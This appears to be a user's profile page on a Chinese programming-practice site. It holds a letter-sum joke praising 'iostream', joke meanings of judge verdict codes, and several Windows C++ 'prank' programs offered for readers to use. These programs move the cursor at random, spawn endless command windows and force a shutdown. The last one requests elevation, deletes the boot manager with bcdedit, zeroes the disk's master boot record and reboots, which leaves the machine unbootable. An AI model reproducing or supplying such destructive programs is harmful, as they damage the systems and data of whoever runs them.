• 个人简介

    n114514114514114514114514114514**114514****

    圈名叶子.主页瞎玩(^▽^)

    武魂雷帝 152级至高雷神 魂环配置:红红红红红红红红金

    什么才能让我们的人生美满呢?

    如果将a视作1,b视作2,以此类推……

    ++是努力(hard)吗?++

    h+a+r+d=8+1+18+4=31%,并不能使人生美满

    ++如果去掉不正当的努力呢?++

    hard work=h+a+r+d+w+o+r+k=8+1+18+4+23+15+18+11=98%

    ++看来还是缺了一点。是领导力(leadership)吗++

    leadership=l+e+a+d+e+r+s+h+i+p=12+5+1+4+5+18+19+8+9+16=97%

    ++绝对的领导似乎并不能使人生活美满。是知识(knowledge)吗?++

    knowledge=k+n+o+w+l+e+d+g+e=11+14+15+23+12+5+4+7+5=96%

    依旧略有偏颇

    ++莫非是些玄学上的东西?比如……天赋(talent)?运气(fortune)?++

    talent=t+a+l+e+n+t=20+1+12+5+14+20=72%,有时天赋并不能决定一切

    fortune=f+o+r+t+u+n+e=6+15+18+20+21+14+5=99%,绝对的运气果然可以抹平一切弱点,可惜还差了一点

    是哪一点呢?

    ++诚实(honest)?++

    honest=h+o+n+e+s+t=8+15+14+5+19+20=81%,真诚有时会换来欺骗

    *绝对的运气抹不平什么呢?

    答案是:iostream!

    iostream=i+o+s+t+r+e+a+m=9+15+19+20+18+5+1+13=100%,让我们一起写代码吧!

    写满分代码,赢美满人生

    TLE=Time Limit Enough=时间充裕

    MLE=Memory Limit Enough=内存充裕

    CE=Compile Easily=轻松通过编译

    RE=Run Excellently=完美运行

    UKE=Unbelievably Keeping Enough Score=难以

    置信地保持足够的分数

    AU=All Unaccepted=全都不正确

    OLE:Output Limit Enough 输出充裕

    UKE:United Kingdom Error 大不列颠错误

    AC=Answer Coarse=粗劣的答案

    WA=Wonderful Answer=好答案

    AC: Answer Accidently 意外的答案

    PC:Past Compile 通过编译

    RE:Right Enough 太过正确

    整蛊代码

    鼠标乱动

    #include<windows.h>
    using namespace std;
    int main(){
        while(true){
            SetCursorPos(rand()%1000,rand()%1000);
        }
        return 0;
    }
    
    

    无限弹窗

    #include<windows.h>
    using namespace std;
    int main(){
        while(true) system("start cmd");
        return 0;
    }
    
    

    原地关机

    #include<windows.h>
    using namespace std;
    int main(){
        system("shutdown -s -t 60");
        system("shutdown -p");
        return 0;
    }
    
    

    原地蓝屏(后果严重)

    #include <windows.h>
    BOOL IsRunAsAdmin(HANDLE hProcess)
    { 
    	if (!hProcess)
    		hProcess = GetCurrentProcess();
    
    	BOOL bElevated = FALSE;
    	HANDLE hToken = NULL;
    	if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
    		return FALSE;
    	TOKEN_ELEVATION tokenEle;
    	DWORD dwRetLen = 0;
    	if (GetTokenInformation(hToken, TokenElevation, &tokenEle, sizeof(tokenEle), &dwRetLen))
    	{
    		if (dwRetLen == sizeof(tokenEle))
    		{
    			bElevated = tokenEle.TokenIsElevated;
    		}
    	}
    	CloseHandle(hToken);
    	return bElevated;
    }
    VOID ManagerRun(LPCSTR exe, LPCSTR param, INT nShow)  
    {
    	SHELLEXECUTEINFO ShExecInfo; 
    	ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);  
    	ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;  
    	ShExecInfo.hwnd = NULL;  
    	ShExecInfo.lpVerb = "runas";  
    	ShExecInfo.lpFile = exe; 
    	ShExecInfo.lpParameters = param;   
    	ShExecInfo.lpDirectory = NULL;  
    	ShExecInfo.nShow = nShow;  
    	ShExecInfo.hInstApp = NULL;   
    	BOOL ret = ShellExecuteEx(&ShExecInfo);  
    	CloseHandle(ShExecInfo.hProcess);
    }
    void MBR()
    {
    	DWORD Ropen;
    	BYTE pMBR[1024] = { 0 };
    	HANDLE hDevice = CreateFile(
    		"\\\\.\\PhysicalDrive0",
    		GENERIC_READ | GENERIC_WRITE,
    		FILE_SHARE_READ | FILE_SHARE_WRITE,
    		NULL,
    		OPEN_EXISTING,
    		0,
    		NULL);
    	DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);  
    	WriteFile(hDevice, pMBR, 1024, &Ropen, NULL);
    	DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
    }
    int main(int argc, char *argv[])
    {
    	if (!IsRunAsAdmin(NULL))
    	{
    		ShowWindow(GetConsoleWindow(),SW_HIDE);
    		ManagerRun(argv[0],"2",SW_SHOWNORMAL);
    		return 1;
    	}else{
    		system("bcdedit /delete {bootmgr} /f");
    		MBR();
    		system("shutdown -r -t 0");
    	}
    	return 0;
    }
    
    
  • 通过的题目

  • 最近活动

题目标签

入门
83
普及-
49
基础
35
算法基础
34
递归
20
字符串
18
语法基础
17
数学
13
模拟
13
进制转换
12
结构体
12
STL容器
12
进阶
11
排序
10
二维数组
9
二分查找
7
一维数组
6
循环
5
贪心
5
函数
5